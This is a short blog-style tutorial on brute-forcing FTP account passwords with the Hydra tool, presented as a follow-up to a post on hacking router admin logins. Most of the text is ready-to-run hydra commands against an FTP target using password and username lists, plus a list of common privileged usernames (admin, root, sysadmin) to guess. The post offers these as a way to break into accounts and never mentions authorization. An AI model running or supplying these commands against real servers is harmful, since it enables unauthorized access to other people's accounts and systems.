Brute-forcing ftp accounts

If you have read my previous post "Bruteforce a router to hack admin password using Hydra " then you might have learned how to brute-force attack on http authentication. Now if you just tweak the command a little then you can use the same for brute-forcing ftp too. An example is as follows:

hydra -l username -P password.lst ftp://example.com

Your password.lst must have the matching password. So you need to create a file that has most possible combinations. If you are unsure about the username too then you can use -L switch as follows:

hydra -L user.txt -P password.list ftp://example.com

You can create a user.txt file by writing the possible usernames in a single line as follows:

admin
administrator
sysadmin
webmaster
root
test